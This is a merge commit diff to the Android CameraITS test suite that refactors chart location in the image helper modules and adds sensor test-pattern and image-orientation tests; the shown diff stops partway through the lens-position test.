Merge "CTS: CtsVerifier: disable auto scroll down to fix the not able to scroll issue." into oreo-cts-dev am: cf14976362 am: b9e5c99a63 am: 7af2263f6a am: 6e1d8cef8b
am: 67e370ce71
Change-Id: If12fe148846b4b3cb22bdbafd0195b32e881c138
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index 83e654e..a34d4ce 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -12,27 +12,36 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import matplotlib
-matplotlib.use('Agg')
-
-import its.error
-from matplotlib import pylab
-import sys
-from PIL import Image
-import numpy
-import math
-import unittest
-import cStringIO
-import scipy.stats
-import copy
-import cv2
import os
+import unittest
+
+import cv2
+import its.device
+import its.error
+import numpy
+
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
+
def scale_img(img, scale=1.0):
"""Scale and image based on a real number scale factor."""
dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))
return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
+
+def gray_scale_img(img):
+ """Return gray scale version of image."""
+ if len(img.shape) == 2:
+ img_gray = img.copy()
+ elif len(img.shape) == 3:
+ if img.shape[2] == 1:
+ img_gray = img[:, :, 0].copy()
+ else:
+ img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
+ return img_gray
+
+
class Chart(object):
"""Definition for chart object.
@@ -57,6 +66,9 @@
self._scale_start = scale_start
self._scale_stop = scale_stop
self._scale_step = scale_step
+ self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
+ if not self.xnorm:
+ self.locate()
def _calc_scale_factors(self, cam, props, fmt, s, e, fd):
"""Take an image with s, e, & fd to find the chart location.
@@ -79,7 +91,7 @@
req['android.lens.focusDistance'] = fd
cap_chart = its.image.stationary_lens_cap(cam, req, fmt)
img_3a = its.image.convert_capture_to_rgb_image(cap_chart, props)
- img_3a = its.image.flip_mirror_img_per_argv(img_3a)
+ img_3a = its.image.rotate_img_per_argv(img_3a)
its.image.write_image(img_3a, 'af_scene.jpg')
template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
focal_l = cap_chart['metadata']['android.lens.focalLength']
@@ -95,8 +107,15 @@
print 'Chart/image scale factor = %.2f' % scale_factor
return template, img_3a, scale_factor
- def locate(self, cam, props, fmt, s, e, fd):
- """Find the chart in the image.
+ def locate(self, cam=None, props=None, fmt=None, s=0, e=0, fd=0):
+ """Find the chart in the image, and append location to chart object.
+
+ The values appended are:
+ xnorm: float; [0, 1] left loc of chart in scene
+ ynorm: float; [0, 1] top loc of chart in scene
+ wnorm: float; [0, 1] width of chart in scene
+ hnorm: float; [0, 1] height of chart in scene
+ scale: float; scale factor to extract chart
Args:
cam: An open device session
@@ -107,29 +126,30 @@
e: Exposure time for the AF request as defined in
android.sensor.exposureTime
fd: float; autofocus lens position
-
- Returns:
- xnorm: float; [0, 1] left loc of chart in scene
- ynorm: float; [0, 1] top loc of chart in scene
- wnorm: float; [0, 1] width of chart in scene
- hnorm: float; [0, 1] height of chart in scene
"""
- chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
- s, e, fd)
+ if cam:
+ chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
+ s, e, fd)
+ else:
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ fmt = {'format': 'yuv', 'width': VGA_WIDTH,
+ 'height': VGA_HEIGHT}
+
+ # Get sensitivity, exposure time, and focus distance with 3A.
+ s, e, _, _, fd = cam.do_3a(get_results=True)
+
+ chart, scene, s_factor = self._calc_scale_factors(cam, props,
+ fmt, s, e, fd)
scale_start = self._scale_start * s_factor
scale_stop = self._scale_stop * s_factor
scale_step = self._scale_step * s_factor
+ self.scale = s_factor
max_match = []
# check for normalized image
if numpy.amax(scene) <= 1.0:
scene = (scene * 255.0).astype(numpy.uint8)
- if len(scene.shape) == 2:
- scene_gray = scene.copy()
- elif len(scene.shape) == 3:
- if scene.shape[2] == 1:
- scene_gray = scene[:, :, 0]
- else:
- scene_gray = cv2.cvtColor(scene.copy(), cv2.COLOR_RGB2GRAY)
+ scene_gray = gray_scale_img(scene)
print 'Finding chart in scene...'
for scale in numpy.arange(scale_start, scale_stop, scale_step):
scene_scaled = scale_img(scene_gray, scale)
@@ -142,26 +162,36 @@
# determine if optimization results are valid
opt_values = [x[0] for x in max_match]
if 2.0*min(opt_values) > max(opt_values):
- estring = ('Unable to find chart in scene!\n'
+ estring = ('Warning: unable to find chart in scene!\n'
'Check camera distance and self-reported '
'pixel pitch, focal length and hyperfocal distance.')
- raise its.error.Error(estring)
- # find max and draw bbox
- match_index = max_match.index(max(max_match, key=lambda x: x[0]))
- scale = scale_start + scale_step * match_index
- print 'Optimum scale factor: %.3f' % scale
- top_left_scaled = max_match[match_index][1]
- h, w = chart.shape
- bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
- top_left = (int(top_left_scaled[0]/scale),
- int(top_left_scaled[1]/scale))
- bottom_right = (int(bottom_right_scaled[0]/scale),
- int(bottom_right_scaled[1]/scale))
- wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
- hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
- xnorm = float(top_left[0]) / scene.shape[1]
- ynorm = float(top_left[1]) / scene.shape[0]
- return xnorm, ynorm, wnorm, hnorm
+ print estring
+ self.wnorm = 1.0
+ self.hnorm = 1.0
+ self.xnorm = 0.0
+ self.ynorm = 0.0
+ else:
+ if (max(opt_values) == opt_values[0] or
+ max(opt_values) == opt_values[len(opt_values)-1]):
+ estring = ('Warning: chart is at extreme range of locator '
+ 'check.\n')
+ print estring
+ # find max and draw bbox
+ match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+ self.scale = scale_start + scale_step * match_index
+ print 'Optimum scale factor: %.3f' % self.scale
+ top_left_scaled = max_match[match_index][1]
+ h, w = chart.shape
+ bottom_right_scaled = (top_left_scaled[0] + w,
+ top_left_scaled[1] + h)
+ top_left = (int(top_left_scaled[0]/self.scale),
+ int(top_left_scaled[1]/self.scale))
+ bottom_right = (int(bottom_right_scaled[0]/self.scale),
+ int(bottom_right_scaled[1]/self.scale))
+ self.wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
+ self.hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
+ self.xnorm = float(top_left[0]) / scene.shape[1]
+ self.ynorm = float(top_left[1]) / scene.shape[0]
class __UnitTest(unittest.TestCase):
@@ -186,7 +216,8 @@
blur = cv2.blur(chart, (j, j))
blur = blur[:, :, numpy.newaxis]
sharpness[j] = (yuv_full_scale *
- its.image.compute_image_sharpness(blur / white_level))
+ its.image.compute_image_sharpness(blur /
+ white_level))
self.assertTrue(numpy.isclose(sharpness[2]/sharpness[4],
numpy.sqrt(2), atol=0.1))
self.assertTrue(numpy.isclose(sharpness[4]/sharpness[8],
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 24b48bb..9fc4c5a 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -646,7 +646,10 @@
ytile = math.ceil(ynorm * hfull)
wtile = math.floor(wnorm * wfull)
htile = math.floor(hnorm * hfull)
- return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
+ if len(img.shape)==2:
+ return img[ytile:ytile+htile,xtile:xtile+wtile].copy()
+ else:
+ return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
def compute_image_means(img):
@@ -780,6 +783,7 @@
[gy, gx] = numpy.gradient(luma)
return numpy.average(numpy.sqrt(gy*gy + gx*gx))
+
def normalize_img(img):
"""Normalize the image values to between 0 and 1.
@@ -790,21 +794,39 @@
"""
return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
-def flip_mirror_img_per_argv(img):
- """Flip/mirror an image if "flip" or "mirror" is in argv
+
+def chart_located_per_argv():
+ """Determine if chart already located outside of test.
+
+ If chart info provided, return location and size. If not, return None.
+
+ Args:
+ None
+ Returns:
+ chart_loc: float converted xnorm,ynorm,wnorm,hnorm,scale from argv text.
+ argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
+ """
+ for s in sys.argv[1:]:
+ if s[:10] == "chart_loc=" and len(s) > 10:
+ chart_loc = s[10:].split(",")
+ return map(float, chart_loc)
+ return None, None, None, None, None
+
+
+def rotate_img_per_argv(img):
+ """Rotate an image 180 degrees if "rotate" is in argv
Args:
img: 2-D numpy array of image values
Returns:
- Flip/mirrored image
+ Rotated image
"""
img_out = img
- if "flip" in sys.argv:
- img_out = numpy.flipud(img_out)
- if "mirror" in sys.argv:
- img_out = numpy.fliplr(img_out)
+ if "rotate180" in sys.argv:
+ img_out = numpy.fliplr(numpy.flipud(img_out))
return img_out
+
def stationary_lens_cap(cam, req, fmt):
"""Take up to NUM_TRYS caps and save the 1st one with lens stationary.
@@ -829,6 +851,7 @@
raise its.error.Error('Cannot settle lens after %d trys!' % trys)
return cap[NUM_FRAMES-1]
+
class __UnitTest(unittest.TestCase):
"""Run a suite of unit tests on this module.
"""
diff --git a/apps/CameraITS/tests/inprog/test_test_patterns.py b/apps/CameraITS/tests/inprog/test_test_patterns.py
deleted file mode 100644
index f75b141..0000000
--- a/apps/CameraITS/tests/inprog/test_test_patterns.py
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.image
-import its.device
-import its.objects
-import os.path
-
-def main():
- """Test sensor test patterns.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- with its.device.ItsSession() as cam:
- caps = []
- for i in range(1,6):
- req = its.objects.manual_capture_request(100, 10*1000*1000)
- req['android.sensor.testPatternData'] = [40, 100, 160, 220]
- req['android.sensor.testPatternMode'] = i
-
- # Capture the shot twice, and use the second one, so the pattern
- # will have stabilized.
- caps = cam.do_capture([req]*2)
-
- img = its.image.convert_capture_to_rgb_image(caps[1])
- its.image.write_image(img, "%s_pattern=%d.jpg" % (NAME, i))
-
-if __name__ == '__main__':
- main()
-
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 752e02b..e78488e 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -90,8 +90,8 @@
pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
pixel_pitch_h)
- assert 1.0 <= pixel_pitch_w <= 10
- assert 1.0 <= pixel_pitch_h <= 10
+ assert 0.9 <= pixel_pitch_w <= 10
+ assert 0.9 <= pixel_pitch_h <= 10
assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index c3c2147..7594f9f 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -12,19 +12,21 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-def main():
- """Test that the android.sensor.sensitivity parameter is applied properly
- within a burst. Inspects the output metadata only (not the image data).
- """
+NUM_STEPS = 3
+ERROR_TOLERANCE = 0.97 # Allow ISO to be rounded down by 3%
- NUM_STEPS = 3
- ERROR_TOLERANCE = 0.97 # Allow ISO to be rounded down by 3%
+
+def main():
+ """Test android.sensor.sensitivity parameter applied properly in burst.
+
+ Inspects the output metadata only (not the image data).
+ """
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -35,15 +37,16 @@
sens_step = (sens_range[1] - sens_range[0]) / NUM_STEPS
sens_list = range(sens_range[0], sens_range[1], sens_step)
e = min(props['android.sensor.info.exposureTimeRange'])
- reqs = [its.objects.manual_capture_request(s,e) for s in sens_list]
- _,fmt = its.objects.get_fastest_manual_capture_settings(props)
+ reqs = [its.objects.manual_capture_request(s, e) for s in sens_list]
+ _, fmt = its.objects.get_fastest_manual_capture_settings(props)
caps = cam.do_capture(reqs, fmt)
- for i,cap in enumerate(caps):
+ for i, cap in enumerate(caps):
s_req = sens_list[i]
- s_res = cap["metadata"]["android.sensor.sensitivity"]
- assert(s_req >= s_res)
- assert(s_res/float(s_req) > ERROR_TOLERANCE)
+ s_res = cap['metadata']['android.sensor.sensitivity']
+ s_values = 's_write: %d, s_read: %d' % (s_req, s_res)
+ assert s_req >= s_res, s_values
+ assert s_res/float(s_req) > ERROR_TOLERANCE, ERROR_TOLERANCE
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
new file mode 100644
index 0000000..a1d9cb8
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -0,0 +1,174 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+PATTERNS = [1, 2]
+COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
+ 'BLUE', 'BLACK']
+COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
+ 'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
+ 'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
+CH_TOL = 2E-3 # 1/2 DN in [0:1]
+LSFR_COEFFS = 0b100010000 # PN9
+
+
+def check_solid_color(cap, props):
+ """Simple test for solid color.
+
+ Args:
+ cap: capture element
+ props: capture properties
+ Returns:
+ True/False
+ """
+ print 'Checking solid TestPattern...'
+ r, gr, gb, b = its.image.convert_capture_to_planes(cap, props)
+ r_tile = its.image.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
+ gr_tile = its.image.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
+ gb_tile = its.image.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
+ b_tile = its.image.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
+ var_max = max(np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile),
+ np.amax(b_tile))
+ var_min = min(np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile),
+ np.amin(b_tile))
+ white_level = int(props['android.sensor.info.whiteLevel'])
+ print ' pixel min: %.f, pixel max: %.f' % (white_level*var_min,
+ white_level*var_max)
+ return np.isclose(var_max, var_min, atol=CH_TOL)
+
+
+def check_color_bars(cap, props, mirror=False):
+ """Test image for color bars.
+
+ Compute avg of bars and compare to ideal
+
+ Args:
+ cap: capture element
+ props: capture properties
+ mirror (bool): whether to mirror image or not
+ Returns:
+ True/False
+ """
+ print 'Checking color bar TestPattern...'
+ delta = 0.0005
+ num_bars = len(COLOR_BAR_ORDER)
+ color_match = []
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
+ if mirror:
+ print ' Image mirrored'
+ img = np.fliplr(img)
+ for i, color in enumerate(COLOR_BAR_ORDER):
+ tile = its.image.get_image_patch(img, float(i)/num_bars+delta,
+ 0.0, 1.0/num_bars-2*delta, 1.0)
+ color_match.append(np.allclose(its.image.compute_image_means(tile),
+ COLOR_CHECKER[color], atol=CH_TOL))
+ print COLOR_BAR_ORDER
+ print color_match
+ return all(color_match)
+
+
+def check_pattern(cap, props, pattern):
+ """Simple tests for pattern correctness.
+
+ Args:
+ cap: capture element
+ props: capture properties
+ pattern (int): valid number for pattern
+ Returns:
+ boolean
+ """
+
+ # white_level = int(props['android.sensor.info.whiteLevel'])
+ if pattern == 1: # solid color
+ return check_solid_color(cap, props)
+
+ elif pattern == 2: # color bars
+ striped = check_color_bars(cap, props, mirror=False)
+ # check mirrored version in case image rotated from sensor orientation
+ if not striped:
+ striped = check_color_bars(cap, props, mirror=True)
+ return striped
+
+ else:
+ print 'No specific test for TestPattern %d' % pattern
+ return True
+
+
+def test_test_patterns(cam, props, af_fd):
+ """test image sensor test patterns.
+
+ Args:
+ cam: An open device session.
+ props: Properties of cam
+ af_fd: Focus distance
+ """
+
+ avail_patterns = props['android.sensor.availableTestPatternModes']
+ print 'avail_patterns: ', avail_patterns
+ sens_min, _ = props['android.sensor.info.sensitivityRange']
+ exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+ for pattern in PATTERNS:
+ if pattern in avail_patterns:
+ req = its.objects.manual_capture_request(int(sens_min),
+ exposure)
+ req['android.lens.focusDistance'] = af_fd
+ req['android.sensor.testPatternMode'] = pattern
+ fmt = {'format': 'raw'}
+ cap = cam.do_capture(req, fmt)
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
+
+ # Save pattern
+ its.image.write_image(img, '%s_%d.jpg' % (NAME, pattern), True)
+
+ # Check pattern for correctness
+ assert check_pattern(cap, props, pattern)
+ else:
+ print 'Pattern not in android.sensor.availableTestPatternModes.'
+
+
+def main():
+ """Test pattern generation test.
+
+ Test: capture frames for each valid test pattern and check if
+ generated correctly.
+ android.sensor.testPatternMode
+ 0: OFF
+ 1: SOLID_COLOR
+ 2: COLOR_BARS
+ 3: COLOR_BARS_FADE_TO_GREY
+ 4: PN9
+ """
+
+ print '\nStarting %s' % NAME
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.raw16(props) and
+ its.caps.manual_sensor(props) and
+ its.caps.per_frame_control(props))
+
+ # For test pattern, use min_fd
+ fd = props['android.lens.info.minimumFocusDistance']
+ test_test_patterns(cam, props, fd)
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2/test_faces.py
index 4e30fc1..2acce85 100644
--- a/apps/CameraITS/tests/scene2/test_faces.py
+++ b/apps/CameraITS/tests/scene2/test_faces.py
@@ -60,7 +60,7 @@
# but it should detect at least one face in last frame
if i == NUM_TEST_FRAMES - 1:
img = its.image.convert_capture_to_rgb_image(cap, props=props)
- img = its.image.flip_mirror_img_per_argv(img)
+ img = its.image.rotate_img_per_argv(img)
img_name = "%s_fd_mode_%s.jpg" % (NAME, fd_mode)
its.image.write_image(img, img_name)
if len(faces) == 0:
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
new file mode 100644
index 0000000..197f62a
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -0,0 +1,134 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import cv2
+
+import its.caps
+import its.cv2image
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+ 'test_images', 'ISO12233.png')
+CHART_HEIGHT = 13.5 # cm
+CHART_DISTANCE = 30.0 # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+CHART_ORIENTATIONS = ['nominal', 'flip', 'mirror', 'rotate']
+VGA_WIDTH = 640
+VGA_HEIGHT = 480
+(X_CROP, Y_CROP) = (0.5, 0.5) # crop center area of ISO12233 chart
+
+
+def test_flip_mirror(cam, props, fmt, chart):
+ """Return if image is flipped or mirrored.
+
+ Args:
+ cam (class): An open device session
+ props (class): Properties of cam
+ fmt (dict): Capture format
+ chart (class): Object with chart properties
+
+ Returns:
+ boolean: True if flipped, False if not
+ """
+
+ # determine if in debug mode
+ debug = its.caps.debug_mode()
+
+ # get a local copy of the chart template
+ template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
+
+ # take img, crop chart, scale and prep for cv2 template match
+ s, e, _, _, fd = cam.do_3a(get_results=True)
+ req = its.objects.manual_capture_request(s, e, fd)
+ cap = cam.do_capture(req, fmt)
+ y, _, _ = its.image.convert_capture_to_planes(cap, props)
+ y = its.image.rotate_img_per_argv(y)
+ patch = its.image.get_image_patch(y, chart.xnorm, chart.ynorm,
+ chart.wnorm, chart.hnorm)
+ patch = 255 * its.cv2image.gray_scale_img(patch)
+ patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
+
+ # sanity check on image
+ assert np.max(patch)-np.min(patch) > 255/8
+
+ # save full images if in debug
+ if debug:
+ its.image.write_image(template[:, :, np.newaxis]/255.0,
+ '%s_template.jpg' % NAME)
+
+ # save patch
+ its.image.write_image(patch[:, :, np.newaxis]/255.0,
+ '%s_scene_patch.jpg' % NAME)
+
+ # crop center areas and strip off any extra rows/columns
+ template = its.image.get_image_patch(template, (1-X_CROP)/2, (1-Y_CROP)/2,
+ X_CROP, Y_CROP)
+ patch = its.image.get_image_patch(patch, (1-X_CROP)/2,
+ (1-Y_CROP)/2, X_CROP, Y_CROP)
+ patch = patch[0:min(patch.shape[0], template.shape[0]),
+ 0:min(patch.shape[1], template.shape[1])]
+ comp_chart = patch
+
+ # determine optimum orientation
+ opts = []
+ for orientation in CHART_ORIENTATIONS:
+ if orientation == 'flip':
+ comp_chart = np.flipud(patch)
+ elif orientation == 'mirror':
+ comp_chart = np.fliplr(patch)
+ elif orientation == 'rotate':
+ comp_chart = np.flipud(np.fliplr(patch))
+ correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
+ _, opt_val, _, _ = cv2.minMaxLoc(correlation)
+ if debug:
+ cv2.imwrite('%s_%s.jpg' % (NAME, orientation), comp_chart)
+ print ' %s correlation value: %d' % (orientation, opt_val)
+ opts.append(opt_val)
+
+ # determine if 'nominal' or 'rotated' is best orientation
+ assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
+ assert assert_flag, ('Optimum orientation is %s' %
+ CHART_ORIENTATIONS[np.argmax(opts)])
+ # print warning if rotated
+ if opts[3] == max(opts):
+ print 'Image is rotated 180 degrees. Try "rotate" flag.'
+
+
+def main():
+ """Test if image is properly oriented."""
+
+ print '\nStarting test_flip_mirror.py'
+
+ # initialize chart class and locate chart in scene
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+
+ # test that image is not flipped, mirrored, or rotated
+ test_flip_mirror(cam, props, fmt, chart)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
index cd563be..24c6841 100644
--- a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -37,19 +37,20 @@
CHART_SCALE_STEP = 0.025
-def test_lens_movement_reporting(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_movement_reporting(cam, props, fmt, gain, exp, af_fd, chart):
"""Return fd, sharpness, lens state of the output images.
Args:
cam: An open device session.
props: Properties of cam
fmt: dict; capture format
- sensitivity: Sensitivity for the 3A request as defined in
+ gain: Sensitivity for the 3A request as defined in
android.sensor.sensitivity
exp: Exposure time for the 3A request as defined in
android.sensor.exposureTime
af_fd: Focus distance for the 3A request as defined in
android.lens.focusDistance
+ chart: Object that contains chart information
Returns:
Object containing reported sharpness of the output image, keyed by
@@ -57,15 +58,6 @@
'sharpness'
"""
- # initialize chart class
- chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
- CHART_SCALE_START, CHART_SCALE_STOP,
- CHART_SCALE_STEP)
-
- # find chart location
- xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
- exp, af_fd)
-
# initialize variables and take data sets
data_set = {}
white_level = int(props['android.sensor.info.whiteLevel'])
@@ -74,7 +66,7 @@
fds = sorted(fds * NUM_IMGS)
reqs = []
for i, fd in enumerate(fds):
- reqs.append(its.objects.manual_capture_request(sensitivity, exp))
+ reqs.append(its.objects.manual_capture_request(gain, exp))
reqs[i]['android.lens.focusDistance'] = fd
caps = cam.do_capture(reqs, fmt)
for i, cap in enumerate(caps):
@@ -92,12 +84,12 @@
print ' current lens location (diopters): %.3f' % data['loc']
print ' lens moving %r' % data['lens_moving']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
- y = its.image.flip_mirror_img_per_argv(y)
- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ y = its.image.rotate_img_per_argv(y)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_set[i] = data
return data_set
@@ -110,6 +102,11 @@
"""
print '\nStarting test_lens_movement_reporting.py'
+ # initialize chart class
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
its.caps.skip_unless(not its.caps.fixed_focus(props))
@@ -121,7 +118,7 @@
s, e, _, _, fd = cam.do_3a(get_results=True)
# Get sharpness for each focal distance
- d = test_lens_movement_reporting(cam, props, fmt, s, e, fd)
+ d = test_lens_movement_reporting(cam, props, fmt, s, e, fd, chart)
for k in sorted(d):
print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
'sharpness: %.1f \tlens_moving: %r \t'
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
index f850e3d..2194b8c 100644
--- a/apps/CameraITS/tests/scene3/test_lens_position.py
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py
@@ -38,7 +38,7 @@
CHART_SCALE_STEP = 0.025
-def test_lens_position(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_position(cam, props, fmt, sensitivity, exp, chart):
"""Return fd, sharpness, lens state of the output images.
Args:
@@ -49,8 +49,7 @@
android.sensor.sensitivity
exp: Exposure time for the 3A request as defined in
android.sensor.exposureTime
- af_fd: Focus distance for the 3A request as defined in
- android.lens.focusDistance
+ chart: Object with chart properties
Returns:
Dictionary of results for different focal distance captures
@@ -58,15 +57,6 @@
d_static, d_moving
"""
- # initialize chart class
- chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
- CHART_SCALE_START, CHART_SCALE_STOP,
- CHART_SCALE_STEP)
-
- # find chart location
- xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
- exp, af_fd)
-
# initialize variables and take data sets
data_static = {}
data_moving = {}
@@ -89,11 +79,11 @@
print ' focus distance (diopters): %.3f' % data['fd']
print ' current lens location (diopters): %.3f' % data['loc']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_stat_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_static[i] = data
# take moving data set
@@ -115,12 +105,12 @@
print ' focus distance (diopters): %.3f' % data['fd']
print ' current lens location (diopters): %.3f' % data['loc']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
